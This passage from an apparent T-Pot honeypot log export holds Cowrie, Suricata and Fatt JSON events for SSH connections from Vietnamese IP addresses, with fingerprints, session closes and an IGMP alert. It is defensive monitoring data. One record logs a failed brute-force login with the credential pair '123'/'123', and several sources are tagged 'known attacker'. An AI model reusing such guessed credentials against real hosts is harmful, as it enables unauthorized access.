"hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "70265ce44949", "@version": "1", "timestamp": "2021-09-20T11:07:38.928141Z", "@timestamp": "2021-09-20T11:07:38.928Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23569	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:38.941989+03	2021-09-20 14:15:07.676471+03	{"_id": "kgbjAnwBvYTbRNuE2g00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "eec7c94161cf", "@version": "1", "duration": 2.8191120624542236, "timestamp": "2021-09-20T11:07:38.941989Z", "@timestamp": "2021-09-20T11:07:38.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23570	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:38.342711+03	2021-09-20 14:15:07.67747+03	{"_id": "nAbjAnwBvYTbRNuE2g03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b5fcfd69d841", "@version": "1", "duration": 2.682162046432495, "timestamp": "2021-09-20T11:07:38.342711Z", "@timestamp": "2021-09-20T11:07:38.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23571	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:39.900828+03	2021-09-20 14:15:07.67847+03	{"_id": "sQbjAnwBvYTbRNuE3A2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 426195702989119, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55980, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.900828Z", "@timestamp": "2021-09-20T11:07:39.900Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23572	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:39.901583+03	2021-09-20 14:15:07.679471+03	{"_id": "tQbjAnwBvYTbRNuE3A2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 691034123874455, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55918, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.901583Z", "@timestamp": "2021-09-20T11:07:39.901Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23573	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:39.924785+03	2021-09-20 14:15:07.68147+03	{"_id": "tgbjAnwBvYTbRNuE3A2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1994290410130838, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54558, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.924785Z", "@timestamp": "2021-09-20T11:07:39.924Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23574	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:40.041497+03	2021-09-20 14:15:07.68247+03	{"_id": "BAbjAnwBvYTbRNuE4A6H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 806955291184482, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 7402, "dest_port": 22, "timestamp": "2021-09-20T11:07:40.041497Z", "@timestamp": "2021-09-20T11:07:40.041Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23575	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:40.731924+03	2021-09-20 14:15:07.68447+03	{"_id": "BgbjAnwBvYTbRNuE4A6I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1152313611551528, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57610, "dest_port": 22, "timestamp": "2021-09-20T11:07:40.731924Z", "@timestamp": "2021-09-20T11:07:40.731Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23576	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:40.969798+03	2021-09-20 14:15:07.685472+03	{"_id": "CAbjAnwBvYTbRNuE4g4F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:56336 (192.168.176.2:22) [session: 6737c28d71b9]", "session": "6737c28d71b9", "@version": "1", "protocol": "ssh", "src_port": 56336, "dest_port": 22, "timestamp": "2021-09-20T11:07:40.969798Z", "@timestamp": "2021-09-20T11:07:40.969Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23577	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:40.732801+03	2021-09-20 14:15:07.686471+03	{"_id": "EgbjAnwBvYTbRNuE4g4G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57610, "dest_port": 22, "timestamp": "2021-09-20T11:07:40.732801", "@timestamp": "2021-09-20T11:07:40.732Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36467	192.168.20.109	109.199.241.180	Suricata	2021-09-20 15:15:02.519384+03	2021-09-20 15:30:02.294869+03	{"_id": "6wYhA3wBvYTbRNuEjWLZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.2", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:15:02.519384Z", "@timestamp": "2021-09-20T12:15:02.519Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
23578	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:40.682436+03	2021-09-20 14:15:07.68747+03	{"_id": "FAbjAnwBvYTbRNuE4g4G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [123/123] failed", "session": "9c6d5e401cea", "@version": "1", "password": "123", "username": "123", "timestamp": "2021-09-20T11:07:40.682436Z", "@timestamp": "2021-09-20T11:07:40.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23579	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:41.189019+03	2021-09-20 14:15:07.68847+03	{"_id": "HwbjAnwBvYTbRNuE4g4G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ab55d5dbf2c2", "@version": "1", "duration": 2.46644926071167, "timestamp": "2021-09-20T11:07:41.189019Z", "@timestamp": "2021-09-20T11:07:41.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23580	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:41.060618+03	2021-09-20 14:15:07.690472+03	{"_id": "FgbjAnwBvYTbRNuE4g4G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "61b95c7cc7af", "@version": "1", "duration": 2.851346015930176, "timestamp": "2021-09-20T11:07:41.060618Z", "@timestamp": "2021-09-20T11:07:41.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23581	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:40.732062+03	2021-09-20 14:15:07.691472+03	{"_id": "JQbjAnwBvYTbRNuE4g4H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57610, "timestamp": "2021-09-20T11:07:40.732062", "@timestamp": "2021-09-20T11:07:40.732Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23582	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:40.974687+03	2021-09-20 14:15:07.69247+03	{"_id": "JgbjAnwBvYTbRNuE4g4H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56336, "timestamp": "2021-09-20T11:07:40.974687", "@timestamp": "2021-09-20T11:07:40.974Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23583	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:41.635285+03	2021-09-20 14:15:07.693501+03	{"_id": "LgbjAnwBvYTbRNuE5Q7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:50834 (192.168.176.2:22) [session: 4aea487b336f]", "session": "4aea487b336f", "@version": "1", "protocol": "ssh", "src_port": 50834, "dest_port": 22, "timestamp": "2021-09-20T11:07:41.635285Z", "@timestamp": "2021-09-20T11:07:41.635Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 